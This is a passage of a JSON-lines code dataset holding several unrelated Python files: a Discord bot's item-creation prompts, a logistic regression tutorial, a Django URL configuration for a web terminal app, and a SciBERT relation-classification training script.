message.author.send(\"Wrong input. Try again.\")\n                else:\n                    new_item[itemutils.ITEM_FIELD_RARITY] = item_creator_reply.content.capitalize()\n            can_continue = False\n\n            # Input item rarity level\n            def check_item_rarity_level_input(rarity_level):\n                lowered_rarity_level = rarity_level.lower()\n                return lowered_rarity_level == \"minor\" or lowered_rarity_level == \"major\"\n            while not can_continue:\n                await message.author.send(\"Input item **rarity level**.\\n```yaml\\nPossible values: minor, major\\n```\")\n                item_creator_reply = await client.wait_for('message', timeout=120.0, check=check_author)\n                can_continue = check_item_rarity_level_input(item_creator_reply.content)\n                if not can_continue:\n                    await message.author.send(\"Wrong input. Try again.\")\n                else:\n                    new_item[itemutils.ITEM_FIELD_RARITY_LEVEL] = item_creator_reply.content.upper()\n            can_continue = False\n\n            # It item consumable\n            def check_item_consumable(consumable):\n                lowered_consumable = consumable.lower()\n                return lowered_consumable == \"yes\" or lowered_consumable == \"no\"\n            while not can_continue:\n                await message.author.send(\"Is item **consumable**?\\n```yaml\\nPossible values: Yes, No\\n```\")\n                item_creator_reply = await client.wait_for('message', timeout=60.0, check=check_author)\n                lowered_content = item_creator_reply.content.lower()\n                can_continue = check_item_consumable(lowered_content)\n                if not can_continue:\n                    await message.author.send(\"Wrong input. Try again.\")\n                else:\n                    new_item[itemutils.ITEM_FIELD_CONSUMABLE] = True if lowered_content == \"yes\" else False\n            can_continue = False\n\n            # Is item attunable\n            def check_item_attunable(attunable):\n                lowered_attunable = attunable.lower()\n                return lowered_attunable == \"yes\" or lowered_attunable == \"no\"\n            while not can_continue:\n                await message.author.send(\"Is item **attunable**?\\n```yaml\\nPossible values: Yes, No\\n```\")\n                item_creator_reply = await client.wait_for('message', timeout=60.0, check=check_author)\n                lowered_content = item_creator_reply.content.lower()\n                can_continue = check_item_attunable(lowered_content)\n                if not can_continue:\n                    await message.author.send(\"Wrong input. Try again.\")\n                else:\n                    new_item[itemutils.ITEM_FIELD_ATTUNEMENT] = True if lowered_content == \"yes\" else False\n            can_continue = False\n\n            # Is item banned from the Magic Shop\n            def check_item_banned(banned):\n                lowered_banned = banned.lower()\n                return lowered_banned == \"yes\" or lowered_banned == \"no\"\n            while not can_continue:\n                await message.author.send(\n                    \"Is item **banned** from the Magic Shop?\\n```yaml\\nPossible values: Yes, No\\n```\")\n                item_creator_reply = await client.wait_for('message', timeout=60.0, check=check_author)\n                lowered_content = item_creator_reply.content.lower()\n                can_continue = check_item_banned(lowered_content)\n                if not can_continue:\n                    await message.author.send(\"Wrong input. Try again.\")\n                else:\n                    new_item[itemutils.ITEM_FIELD_BANNED] = True if lowered_content == \"yes\" else False\n            can_continue = False\n\n            # Confirm item creation\n            confirmed = False\n\n            def check_confirmation(confirmation):\n                lowered_confirmation = confirmation.lower()\n                return lowered_confirmation == \"yes\" or lowered_confirmation == \"no\"\n            while not can_continue:\n                await message.author.send(\n                    \"Confirm creation of item:\\n\" +\n                    itemutils.get_homebrew_item_confirmation_description(new_item) +\n                    \"```yaml\\nPossible values: Yes, No\\n```\")\n                item_creator_reply = await client.wait_for('message', timeout=300.0, check=check_author)\n                lowered_content = item_creator_reply.content.lower()\n                can_continue = check_confirmation(lowered_content)\n                if not can_continue:\n                    await message.author.send(\"Wrong input. Try again.\")\n                else:\n                    confirmed = True if lowered_content == \"yes\" else False\n\n            if confirmed:\n                homebrew.save_new_item(new_item)\n                await message.author.send(f'**{new_item[itemutils.ITEM_FIELD_NAME]}** was created.')\n            else:\n                await message.author.send(f'**{new_item[itemutils.ITEM_FIELD_NAME]}** was NOT created.')\n\n\nasync def item_creation_prompt(\n        client,\n        message,\n        bot_message: str,\n        error_message: str,\n        timeout,\n        new_item: dict,\n        new_item_parameter: str,\n        check_input,\n        produce_result\n):\n\n    can_continue = False\n\n    def check_author(checked_message):\n        return checked_message.author.id == message.author.id\n\n    try:\n        while not can_continue:\n            await message.author.send(bot_message)\n            item_creator_reply = await client.wait_for('message', timeout=timeout, check=check_author)\n            lowered_content = item_creator_reply.content.lower()\n            can_continue = check_input(lowered_content)\n            if not can_continue:\n                await message.author.send(error_message)\n            else:\n                new_item[new_item_parameter] = produce_result(lowered_content)\n    except asyncio.TimeoutError:\n        await message.author.send(\"Item creation timed out.\")\n        raise Exception()\n","repo_name":"Borislav-Nikolov/common-dungeon-bot","sub_path":"commands/homebrewcommands.py","file_name":"homebrewcommands.py","file_ext":"py","file_size_in_byte":8769,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"47"}
+{"seq_id":"17836541111","text":"# -*- coding: utf-8 -*-\r\n\"\"\"\r\nCreated on Mon Jun 22 14:22:26 2020\r\n\r\n@author: rhaen\r\n\"\"\"\r\n\r\n\r\nimport numpy as np\r\nimport pandas as pd\r\nimport matplotlib.pyplot as plt\r\n\r\ndata = pd.read_csv(\"data.csv\")\r\nprint(data.info())\r\ndata.drop([\"Unnamed: 32\",\"id\"],axis =  1,inplace=True)\r\n\r\n#axis = 1 demek column drop et 0 yapsaydık row dreop etmek, inplace True drop et ve datanın içine kaydet\r\n\r\n#diagnosis integer oldu\r\ndata.diagnosis = [ 1 if each == \"M\" else 0  for each in data.diagnosis]\r\nprint(data.info())\r\n\r\ny = data.diagnosis.values\r\nx_data = data.drop([\"diagnosis\"],axis = 1)\r\n\r\n#%%normalization\r\n\r\n#Eğer çok büyük bir değer var ise diğer featureları ortadan kaldırabilir bu yüzden normalizasyon yapıyoruz yani scale ediyoruz.\r\n#(0la 1 arasında scale)\r\n\r\nx = (x_data - np.min(x_data))/(np.max(x_data)-np.min(x_data)).values\r\n\r\n# (x - min(x))/(max(x)-min(x))\r\n#%% train test split\r\n\r\nfrom sklearn.model_selection import train_test_split\r\n\r\nx_train, x_test, y_train, y_test = train_test_split(x,y,test_size = 0.2, random_state = 42)\r\n#train_test_split methodu rastgele böler, random_state kullanırsak random böler yine ama her seferinde farklı değerler yok.\r\n\r\n#x_train2 = x_train.T #rowlarla columnların yerini değiştirdik.\r\nx_train = x_train.T\r\nx_test = x_test.T\r\ny_train = y_train.T\r\ny_test = y_test.T\r\n\r\nprint(\"x_train: \",x_train.shape)\r\nprint(\"x_test: \",x_test.shape)\r\nprint(\"y_train: \",y_train.shape)\r\nprint(\"y_test: \",y_test.shape)\r\n\r\n#%% parameter initialize and sigmoid function\r\n#dimension = 30(feature)\r\ndef initialize_weight_and_bias(dimension):\r\n   \r\n    w = np.full((dimension,1),0.01) #row sayısı dimension boyutunda içinde 0.1 değerleri olan matrix oluştur. column sayısı 1\r\n    b = 0.0\r\n    return w,b\r\n\r\n# w,b = initialize_weight_and_bias(30)\r\n\r\ndef sigmoid(z):\r\n    y_head = 1/(1+np.exp(-z))\r\n    return y_head\r\n# print(sigmoid(0))\r\n\r\n# %%\r\ndef forward_backward_propagation(w,b,x_train,y_train):\r\n    # forward propagation\r\n    z = np.dot(w.T,x_train) + b\r\n    y_head = sigmoid(z)\r\n    loss = -y_train*np.log(y_head)-(1-y_train)*np.log(1-y_head)\r\n    cost = (np.sum(loss))/x_train.shape[1]      # x_train.shape[1]  is for scaling. Bir toplamı sample a bölüyorsak o normalizasyon\r\n    \r\n    # backward propagation\r\n    derivative_weight = (np.dot(x_train,((y_head-y_train).T)))/x_train.shape[1] # x_train.shape[1]  is for scaling\r\n    derivative_bias = np.sum(y_head-y_train)/x_train.shape[1]                 # x_train.shape[1]  is for scaling\r\n    gradients = {\"derivative_weight\": derivative_weight, \"derivative_bias\": derivative_bias}\r\n    # gradints = weightlerin ve biasların türevi\r\n    return cost,gradients\r\n\r\n#%% Updating(learning) parameters\r\ndef update(w, b, x_train, y_train, learning_rate,number_of_iterarion):\r\n    cost_list = [] #tüm costları depolamak için\r\n    cost_list2 = [] #her 10 adımda bir costları depolamak için\r\n    index = []\r\n    \r\n    # updating(learning) parameters is number_of_iterarion times\r\n    for i in range(number_of_iterarion):\r\n        # make forward and backward propagation and find cost and gradients\r\n        cost,gradients = forward_backward_propagation(w,b,x_train,y_train)\r\n        cost_list.append(cost)\r\n        # lets update\r\n        w = w - learning_rate * gradients[\"derivative_weight\"]\r\n        b = b - learning_rate * gradients[\"derivative_bias\"]\r\n        if i % 10 == 0:\r\n            cost_list2.append(cost)\r\n            index.append(i)\r\n            print (\"Cost after iteration %i: %f\" %(i, cost))\r\n            \r\n    # we update(learn) parameters weights and bias\r\n    parameters = {\"weight\": w,\"bias\": b}\r\n    plt.plot(index,cost_list2)\r\n    plt.xticks(index,rotation='vertical')\r\n    plt.xlabel(\"Number of Iterarion\")\r\n    plt.ylabel(\"Cost\")\r\n    plt.show()\r\n    return parameters, gradients, cost_list\r\n\r\n#%%  # prediction\r\ndef predict(w,b,x_test):\r\n    # x_test is a input for forward propagation\r\n    z = sigmoid(np.dot(w.T,x_test)+b)\r\n    Y_prediction = np.zeros((1,x_test.shape[1]))\r\n    # if z is bigger than 0.5, our prediction is sign one (y_head=1),\r\n    # if z is smaller than 0.5, our prediction is sign zero (y_head=0),\r\n    for i in range(z.shape[1]):\r\n        if z[0,i]<= 0.5:\r\n            Y_prediction[0,i] = 0\r\n        else:\r\n            Y_prediction[0,i] = 1\r\n\r\n    return Y_prediction\r\n\r\n# %% logistic_regression\r\ndef logistic_regression(x_train, y_train, x_test, y_test, learning_rate ,  num_iterations):\r\n    # initialize\r\n    dimension =  x_train.shape[0]  # that is 30\r\n    w,b = initialize_weight_and_bias(dimension)\r\n    # do not change learning rate\r\n    parameters, gradients, cost_list = update(w, b, x_train, y_train, learning_rate,num_iterations)\r\n    \r\n    y_prediction_test = predict(parameters[\"weight\"],parameters[\"bias\"],x_test)\r\n\r\n    # Print test Errors\r\n    print(\"test accuracy: {} %\".format(100 - np.mean(np.abs(y_prediction_test - y_test)) * 100))\r\n    \r\nlogistic_regression(x_train, y_train, x_test, y_test,learning_rate = 1, num_iterations = 300)    \r\n\r\n\r\n#%% sklearn with LR\r\nfrom sklearn.linear_model import LogisticRegression\r\nlr = LogisticRegression()\r\nlr.fit(x_train.T,y_train.T)\r\nprint(\"test accuracy {}\".format(lr.score(x_test.T,y_test.T)))\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n","repo_name":"dilaraozdemir/machine-learning-algorithms","sub_path":"7.Logistic_regression_classification/logistic-regression.py","file_name":"logistic-regression.py","file_ext":"py","file_size_in_byte":5231,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"47"}
+{"seq_id":"14302760825","text":"\"\"\"django_gateone URL Configuration\n\nThe `urlpatterns` list routes URLs to views. For more information please see:\n    https://docs.djangoproject.com/en/1.11/topics/http/urls/\nExamples:\nFunction views\n    1. Add an import:  from my_app import views\n    2. Add a URL to urlpatterns:  url(r'^$', views.home, name='home')\nClass-based views\n    1. Add an import:  from other_app.views import Home\n    2. Add a URL to urlpatterns:  url(r'^$', Home.as_view(), name='home')\nIncluding another URLconf\n    1. Import the include() function: from django.conf.urls import url, include\n    2. Add a URL to urlpatterns:  url(r'^blog/', include('blog.urls'))\n\"\"\"\nfrom django.conf.urls import url,include\nfrom django.contrib import admin\nfrom webterminal.views import (Index,Commands,CommandExecute,\n                               CommandExecuteList,CommandExecuteDetailApi,\n                               CredentialCreate,CredentialList,CredentialDetailApi,\n                               ServerCreate,ServerlList,GroupList,GroupCreate,\n                               SshLogList,SshLogPlay,SshTerminalKill,SshTerminalMonitor)\nfrom django.contrib.auth.views import LoginView,LogoutView\n\n#Webterminal api\nfrom rest_framework import routers\nfrom webterminal.api import ServerGroupViewSet,ServerInforViewSet,CommandsSequenceViewSet,CredentialViewSet\n\nfrom django.views.static import serve\nfrom django.conf import settings\nfrom django.contrib.staticfiles.urls import staticfiles_urlpatterns\n\n#Register webterminal api\nrouter = routers.DefaultRouter()\nrouter.register('servergroup', ServerGroupViewSet)\nrouter.register('serverinfo', ServerInforViewSet)\nrouter.register('commandssequence', CommandsSequenceViewSet)\nrouter.register('credential', CredentialViewSet)\n\nurlpatterns = [\n    url(r'^admin/', admin.site.urls),\n    url(r'^guacamole/',include('guacamole.urls')),\n    url(r'^$',Index.as_view(),name='index'),\n    url(r'^commands/add/$',Commands.as_view(),name='commandscreate'),\n    url(r'^commandexecute/$',CommandExecute.as_view(),name='commandexecute'),\n    url(r'^commandslist/$',CommandExecuteList.as_view(),name='commandslist'),\n    url(r'^commandsapi/$',CommandExecuteDetailApi.as_view(),name='commandsapi'),\n    url(r'^accounts/login/$', LoginView.as_view(template_name='admin/login.html'),name='login'),\n    url(r'^accounts/logout/$',LogoutView.as_view(template_name='registration/logged_out.html'),name='logout'),     \n    url(r'^credentialcreate/$',CredentialCreate.as_view(),name='credentialcreate'),\n    url(r'^credentiallist/$',CredentialList.as_view(),name='credentiallist'),\n    url(r'^credentialdetailapi/$',CredentialDetailApi.as_view(),name='credentialdetailapi'),\n    url(r'^servercreate/$',ServerCreate.as_view(),name='servercreate'),\n    url(r'^serverlist/$',ServerlList.as_view(),name='serverlist'),\n    url(r'^groupcreate/$',GroupCreate.as_view(),name='groupcreate'),\n    url(r'^grouplist/$',GroupList.as_view(),name='grouplist'),\n    url(r'^sshlogslist/$',SshLogList.as_view(),name='sshlogslist'),\n    url(r'^sshterminalkill/$',SshTerminalKill.as_view(),name='sshterminalkill'),\n    url(r'^sshlogplay/(?P<pk>[0-9]+)/',SshLogPlay.as_view(),name='sshlogplay'),\n    url(r'^sshterminalmonitor/(?P<pk>[0-9]+)/',SshTerminalMonitor.as_view(),name='sshterminalmonitor'),\n    url(r'^elfinder/',include('elfinder.urls')),\n    url(r'^api/',include(router.urls)),\n    url(r'^permission/',include('permission.urls')),\n    url(r'^i18n/', include('django.conf.urls.i18n')), \n]\n\n\nif settings.DEBUG:\n    urlpatterns += staticfiles_urlpatterns()\n    urlpatterns += [\n        url(r'^media/(?P<path>.*)$', serve, { 'document_root': settings.MEDIA_ROOT, }),\n    ]","repo_name":"sdamaomuma/py","sub_path":"webterminal/webterminal/urls.py","file_name":"urls.py","file_ext":"py","file_size_in_byte":3651,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"47"}
+{"seq_id":"5992610996","text":"# Hyperparameter search for scibert model\n# Code borrowed from:\n# https://colab.research.google.com/drive/14Ea4lIzsn5EFvPpYKtWStXEByT9qmbkj?usp=sharing#scrollTo=qAYbKDu4UR6M\n# https://github.com/pnageshkar/NLP/blob/master/Medium/Multi_label_Classification_BERT_Lightning.ipynb\n# https://pytorch-lightning.readthedocs.io/en/latest/starter/introduction_guide.html\n# https://pytorch-lightning.readthedocs.io/en/latest/common/lightning_module.html\n#----------------------------------------------------------\nimport pandas as pd\nimport numpy as np\nimport random\nimport torchmetrics\nimport os.path\nfrom os import path\n\nfrom tqdm.auto import tqdm\nimport ipdb\n\nimport torch\nimport torch.nn as nn\nfrom torch.utils.data import Dataset, DataLoader\nfrom torch.utils.data import TensorDataset, DataLoader, RandomSampler, SequentialSampler\n\nimport transformers\nfrom transformers import *\n\nimport pytorch_lightning as pl\nfrom pytorch_lightning.metrics.functional import accuracy, f1, auroc\nfrom pytorch_lightning.callbacks import ModelCheckpoint, EarlyStopping\nfrom pytorch_lightning.loggers import TensorBoardLogger\n\nfrom sklearn.model_selection import train_test_split\nfrom sklearn.metrics import classification_report, multilabel_confusion_matrix\nfrom sklearn.model_selection import KFold, GroupShuffleSplit\nfrom sklearn.metrics import f1_score\n\nimport matplotlib.pyplot as plt\nfrom matplotlib import rc\n\nimport json\nimport ast\n\n#----------------------------------------------------------\nLABEL = 'binarized_relations'\n# convert raw text into list of tokens using tokenizer\nMODEL_NAME = 'scibert'\nLOSS_NAME = 'weightedBCE'\nEMBEDDING_TYPE = 'cls'\nMODEL_PATH = 'allenai/scibert_scivocab_uncased'\nNUM_TOKENS = 512\ntokenizer = AutoTokenizer.from_pretrained(MODEL_PATH)\n#----------------------------------------------------------\n# wrap tokenization process in a PyTorch Dataset, along with converting the labels to tensors\nclass RelationalDataset(Dataset):\n\n  def __init__(self, data: pd.DataFrame, tokenizer: tokenizer, max_token_len: int = 128):\n    self.tokenizer = tokenizer\n    self.data = data\n    self.max_token_len = max_token_len\n    \n  def __len__(self):\n    return len(self.data)\n\n  def __getitem__(self, index: int):\n    data_row = self.data.iloc[index]\n\n    sentence = data_row.sentence\n    labels = list(ast.literal_eval(data_row[LABEL]))\n\n    encoding = self.tokenizer.encode_plus(\n      sentence,\n      add_special_tokens=True,\n      max_length=self.max_token_len,\n      return_token_type_ids=False,\n      padding=\"max_length\",\n      truncation=True,\n      return_attention_mask=True,\n      return_tensors='pt',\n    )\n\n    input_ids = encoding['input_ids'].flatten()\n    attention_mask = encoding['attention_mask'].flatten()\n\n    return {\n      'sentence': sentence,\n      'input_ids': input_ids ,\n      'attention_mask': attention_mask,\n      'labels': torch.tensor(labels, dtype= torch.long)\n    }\n\n#----------------------------------------------------------\n# wrap custom dataset into LightningDataModule\nclass RelationalDataModule(pl.LightningDataModule):\n\n  def __init__(self, train_df, val_df, tokenizer, batch_size, max_token_len):\n    super().__init__()\n    self.batch_size = batch_size\n    self.train_df = train_df\n    self.val_df = val_df\n    self.tokenizer = tokenizer\n    self.max_token_len = max_token_len\n\n  def setup(self, stage=None):\n    self.train_dataset = RelationalDataset(self.train_df, self.tokenizer, self.max_token_len)\n    self.val_dataset = RelationalDataset(self.val_df, self.tokenizer, self.max_token_len)\n\n  def train_dataloader(self):\n    return DataLoader(self.train_dataset, batch_size=self.batch_size, shuffle=True, num_workers=2)\n\n  def val_dataloader(self):\n    return DataLoader(self.val_dataset, batch_size=self.batch_size, num_workers=2)\n\n  def test_dataloader(self):\n    return DataLoader(self.val_dataset, batch_size=self.batch_size, num_workers=2)\n\n#----------------------------------------------------------\nclass RelationalClassifier(pl.LightningModule):\n\n    def __init__(self, n_classes: int, model_seed=None, num_epochs=None, n_training_steps=None, n_warmup_steps=None, learning_rate=None, batch_size=None):\n        super().__init__()\n        self.bert = AutoModel.from_pretrained(MODEL_PATH, return_dict=False)\n        \n        self.save_hyperparameters()\n        \n        self.model_seed = model_seed\n        self.num_epochs = num_epochs\n        self.n_training_steps = n_training_steps\n        self.n_warmup_steps = n_warmup_steps\n        \n        self.learning_rate = learning_rate\n        self.batch_size = batch_size\n        self.classifier = nn.Linear(self.bert.config.hidden_size, 4)\n        self.relu =  nn.ReLU()\n        \n        # Normal binary cross entropy (from single label classification)\n        # self.loss = nn.NLLLoss()\n        # self.softmax = nn.LogSoftmax(dim=1)\n\n        # Binary cross entropy (multilabel classification)\n        # Since the output is multi-label (multiple tags associated with a question), we may tend to use a Sigmoid activation function for the final output\n        # and a Binary Cross-Entropy loss function. However, the Pytorch documentation recommends using the BCEWithLogitsLoss () function which combines a \n        # Sigmoid layer and the BCELoss in one single class instead of having a plain Sigmoid followed by a BCELoss.\n        # self.loss = nn.BCEWithLogitsLoss()\n        self.loss = nn.BCEWithLogitsLoss(pos_weight=torch.full((1, 4), 2))\n\n        # # Custom loss: soft F1 loss\n        # self.loss = SoftF1Loss()\n        # self.softmax = nn.Softmax(dim=1)\n\n        # self.train_acc = torchmetrics.Accuracy()\n        # self.val_acc = torchmetrics.Accuracy()\n\n    def forward(self, input_ids, attention_mask, labels=None):\n      # pass the inputs to the model\n      last_hs, cls_hs = self.bert(input_ids, attention_mask=attention_mask)\n      # output = last_hs.max(dim=1)[0] # max pooling\n      output = self.classifier(cls_hs)\n      loss = 0\n      if labels is not None:\n          loss = self.loss(output, labels.float())\n      return loss, output\n\n    def training_step(self, batch, batch_idx):\n        input_ids = batch[\"input_ids\"]\n        attention_mask = batch[\"attention_mask\"]\n        labels = batch[\"labels\"]\n        loss, outputs = self(input_ids, attention_mask, labels)\n        self.log(\"train_loss\", loss, prog_bar=True, logger=True)\n        # log step metric\n        # self.log('train_acc', self.train_acc(outputs.argmax(dim=1), labels), on_step=True, on_epoch=False)\n        return {\"loss\": loss, \"predictions\": outputs, \"labels\": labels}\n\n    def validation_step(self, batch, batch_idx):\n        input_ids = batch[\"input_ids\"]\n        attention_mask = batch[\"attention_mask\"]\n        labels = batch[\"labels\"]\n        loss, outputs = self(input_ids, attention_mask, labels)\n        self.log(\"val_loss\", loss, prog_bar=True, logger=True)\n        # log step metric\n        # self.log('val_acc', self.val_acc(outputs.argmax(dim=1), labels), on_step=True, on_epoch=True)\n        return {\"loss\": loss, \"predictions\": outputs, \"labels\": labels}\n\n    def test_step(self, batch, batch_idx):\n        input_ids = batch[\"input_ids\"]\n        attention_mask = batch[\"attention_mask\"]\n        labels = batch[\"labels\"]\n        loss, outputs = self(input_ids, attention_mask, labels)\n        self.log(\"test_loss\", loss, prog_bar=True, logger=True)\n        return loss\n\n    def training_epoch_end(self, outputs):\n      avg_loss = torch.stack([x[\"loss\"] for x in outputs]).mean()\n      self.logger.experiment.add_scalar('loss',avg_loss, self.current_epoch)\n      # log epoch metric\n      # self.logger.experiment.add_scalar('train_acc_epoch', self.train_acc.compute(), self.current_epoch)\n\n    def validation_epoch_end(self, outputs):\n      avg_loss = torch.stack([x[\"loss\"] for x in outputs]).mean()\n      self.logger.experiment.add_scalar('loss',avg_loss, self.current_epoch)\n      # log epoch metric\n      # self.logger.experiment.add_scalar('val_acc_epoch', self.val_acc.compute(), self.current_epoch)\n\n    def configure_optimizers(self):\n      optimizer = AdamW(self.parameters(), lr=self.learning_rate)\n\n      scheduler = get_linear_schedule_with_warmup(optimizer, num_warmup_steps=self.n_warmup_steps, num_training_steps=self.n_training_steps)\n\n      return dict(\n      optimizer=optimizer,\n      lr_scheduler=dict(\n          scheduler=scheduler,\n          interval='step'\n          )\n      )\n#----------------------------------------------------------\n# custom loss function for SoftF1Loss\n# https://gist.github.com/SuperShinyEyes/dcc68a08ff8b615442e3bc6a9b55a354\nclass SoftF1Loss(nn.Module):\n  def __init__(self, epsilon=1e-7):\n    super().__init__()\n    self.epsilon = epsilon\n \n  def forward(self, y_pred, y_true):\n    \n    assert y_true.ndim == 1\n    assert y_pred.ndim == 1 or y_pred.ndim == 2\n    # ipdb.set_trace()\n    if y_pred.ndim == 2:\n        y_pred = y_pred[:,1]\n    \n    tp = (y_true * y_pred).sum(dim=0).to(torch.float32)\n    tn = ((1 - y_true) * (1 - y_pred)).sum(dim=0).to(torch.float32)\n    fp = ((1 - y_true) * y_pred).sum(dim=0).to(torch.float32)\n    fn = (y_true * (1 - y_pred)).sum(dim=0).to(torch.float32)\n\n    precision = tp / (tp + fp + self.epsilon)\n    recall = tp / (tp + fn + self.epsilon)\n\n    f1 = 2* (precision*recall) / (precision + recall + self.epsilon)\n    f1 = f1.clamp(min=self.epsilon, max=1-self.epsilon)\n    return 1 - f1.mean()\n\n#----------------------------------------------------------\n# Plot precision-recall curves\ndef plotPrecisionRecallCurve(Y_test, y_score, output_dir, output_file):\n  n_classes = Y_test.shape[1]\n  # For each class\n  precision = dict()\n  recall = dict()\n  average_precision = dict()\n  for i in range(n_classes):\n      precision[i], recall[i], _ = precision_recall_curve(Y_test[:, i],\n                                                          y_score[:, i])\n      average_precision[i] = average_precision_score(Y_test[:, i], y_score[:, i])\n\n  # A \"micro-average\": quantifying score on all classes jointly\n  precision[\"micro\"], recall[\"micro\"], _ = precision_recall_curve(Y_test.ravel(),\n      y_score.ravel())\n  average_precision[\"micro\"] = average_precision_score(Y_test, y_score,\n                                                      average=\"micro\")\n  print('Average precision score, micro-averaged over all classes: {0:0.2f}'\n        .format(average_precision[\"micro\"]))\n  #----------------------------------------------------------\n  # # Plot the micro-averaged Precision-Recall curve¶\n  # plt.figure()\n  # plt.step(recall['micro'], precision['micro'], where='post')\n\n  # plt.xlabel('Recall')\n  # plt.ylabel('Precision')\n  # plt.ylim([0.0, 1.05])\n  # plt.xlim([0.0, 1.0])\n  # plt.title(\n  #     'Average precision score, micro-averaged over all classes: AP={0:0.2f}'\n  #     .format(average_precision[\"micro\"]))\n  # plt.savefig(\"micro-averaged-precision-recall-curve.png\")\n  #----------------------------------------------------------\n  # Plot Precision-Recall curve for each class and iso-f1 curves\n  from itertools import cycle\n  # setup plot details\n  colors = cycle(['navy', 'turquoise', 'darkorange', 'cornflowerblue', 'teal'])\n\n  plt.figure(figsize=(7, 8))\n  f_scores = np.linspace(0.2, 0.8, num=4)\n  lines = []\n  labels = []\n  for f_score in f_scores:\n      x = np.linspace(0.01, 1)\n      y = f_score * x / (2 * x - f_score)\n      l, = plt.plot(x[y >= 0], y[y >= 0], color='gray', alpha=0.2)\n      plt.annotate('f1={0:0.1f}'.format(f_score), xy=(0.9, y[45] + 0.02))\n\n  lines.append(l)\n  labels.append('iso-f1 curves')\n  l, = plt.plot(recall[\"micro\"], precision[\"micro\"], color='gold', lw=2)\n  lines.append(l)\n  labels.append('micro-average Precision-recall (area = {0:0.2f})'\n                ''.format(average_precision[\"micro\"]))\n\n  for i, color in zip(range(n_classes), colors):\n      l, = plt.plot(recall[i], precision[i], color=color, lw=2)\n      lines.append(l)\n      labels.append('Precision-recall for class {0} (area = {1:0.2f})'\n                    ''.format(i, average_precision[i]))\n\n  fig = plt.gcf()\n  fig.subplots_adjust(bottom=0.25)\n  plt.xlim([0.0, 1.0])\n  plt.ylim([0.0, 1.05])\n  plt.xlabel('Recall')\n  plt.ylabel('Precision')\n  plt.title(output_file)\n  plt.legend(lines, labels, loc=(0, -.38), prop=dict(size=14))\n\n  plt.savefig(\"./precision-recall-curves/%s/%s.png\" % (output_dir,output_file))\n\n\n#----------------------------------------------------------\ndef runModel(train_df, val_df, test_df, model_seed, num_epochs, learning_rate, batch_size):\n  # create instance of data module\n  data_module = RelationalDataModule(train_df, val_df, tokenizer, batch_size=batch_size, max_token_len=NUM_TOKENS)\n  # set up data module\n  data_module.setup()\n\n  # create an instance of our model\n  # to use the scheduler, we need to calculate the number of training and warm-up steps.\n  # The number of training steps per epoch is equal to number of training examples / batch size. \n  # The number of total training steps is training steps per epoch * number of epochs:\n  steps_per_epoch=len(train_df) // batch_size\n  total_training_steps = steps_per_epoch * num_epochs\n  warmup_steps = total_training_steps // 5 # use a fifth of the training steps for a warm-up\n  print(warmup_steps, total_training_steps)\n\n  model = RelationalClassifier(\n    n_classes=len(LABEL),\n    model_seed=model_seed,\n    num_epochs=num_epochs,\n    n_warmup_steps=warmup_steps,\n    n_training_steps=total_training_steps,\n    learning_rate=learning_rate,\n    batch_size=batch_size\n    )\n\n  # set output directories for checkpoints and logger to model name + loss type + embedding type\n  output_dir = \"%s-%s-%s/%s\" % (MODEL_NAME, LOSS_NAME, EMBEDDING_TYPE, experiment)\n  # set output filename to hyperparam combo\n  output_file = \"seed=%d-epochs=%d-lr=%f-bs=%d-%s\" % (model_seed, num_epochs, learning_rate, batch_size, experiment)\n  print(output_dir)\n  print(output_file)\n  checkpoint_callback = ModelCheckpoint(\n    dirpath=\"checkpoints/%s\" % output_dir,\n    filename=output_file,\n    save_top_k=1,\n    verbose=True,\n    monitor=\"val_loss\",\n    mode=\"min\"\n  )\n\n  logger = TensorBoardLogger(\"lightning_logs/%s\" % output_dir, name=output_file)\n\n  trainer = pl.Trainer(\n    logger=logger,\n    callbacks=[checkpoint_callback], \n    max_epochs=num_epochs,\n    gpus=1, \n    progress_bar_refresh_rate=20,\n    track_grad_norm=2\n    )\n\n  trainer.fit(model, data_module)\n  print(\"fit model\")\n  trainer.test()\n\n  # load best version of the model according to val loss\n  # https://github.com/pykale/pykale/pull/149#discussion_r638841687\n  trained_model = RelationalClassifier.load_from_checkpoint(\n    trainer.checkpoint_callback.best_model_path,\n    n_classes=len(LABEL)\n    )\n\n  # put model into eval mode\n  trained_model.eval()\n  trained_model.freeze()\n\n  device = torch.device('cuda' if torch.cuda.is_available() else 'cpu')\n  trained_model = trained_model.to(device)\n\n  # get predictions\n  dataset = RelationalDataset(test_df, tokenizer, max_token_len=NUM_TOKENS)\n\n  predictions = []\n  labels = []\n  sentences = []\n\n  for item in tqdm(dataset):\n    _, prediction = trained_model(\n      item[\"input_ids\"].unsqueeze(dim=0).to(device), \n      item[\"attention_mask\"].unsqueeze(dim=0).to(device)\n    )\n    sentences.append(item[\"sentence\"])\n    predictions.append(prediction.flatten())\n    # labels.append(item[\"labels\"].int())\n\n  predictions = torch.stack(predictions).detach().cpu().numpy()\n  # upper, lower = 1, 0\n  # predictions = np.where(predictions > 0.5, upper, lower)\n\n  # labels = torch.stack(labels).detach().cpu().numpy()\n\n  # output preds\n  df_preds = pd.DataFrame(list(zip(sentences, predictions)), \n  columns =['sentence', 'scibert_pred'])\n  df_preds.to_csv(\"./predictions/%s/%s.csv\" % (output_dir, output_file))\n\n  # print(classification_report(labels, predictions, zero_division=0))\n\n  # report = classification_report(labels, predictions, output_dict=True, zero_division=0)\n\n  # return report\n\n#----------------------------------------------------------\n# Train set: use ALL annotations (both cv and held out test sets since we're running on the 170k new sentences)\ndf = pd.read_csv(\"/net/nfs2.s2-research/soniam/concept-rel/annotations-round2/union-1sentence-both2sentence/union-multilabel-data-§-quality-control-with-contrast-class.csv\")\ntrain_df = df[:3510]\nval_df = df[3511:]\nprint(len(train_df))\nprint(len(val_df))\n# Test set: all 2sentence-1concepts rows from the 6 batches of s2orc metadata\ntest_df = pd.read_csv(\"/net/nfs2.s2-research/soniam/concept-rel/abstractive-summarization/inputs/concepts-from-both-sentences/all-2sentence-1concept-rows-demarcated.csv\")\n# test_df = test_df[:100]\ntest_df['binarized_relations'] = [\"[0, 0, 0]\"] * len(test_df)\nprint(len(test_df))\n\n# run best model and test on held-out test set\n# best params\nnum_epochs = 10\nlearning_rate = 5e-5\nbatch_size = 32\nmodel_seed = 42\npl.seed_everything(model_seed)\n\nresults = {}\nexperiment = \"best-params-all-s2orc\"\n\noutput_dir = 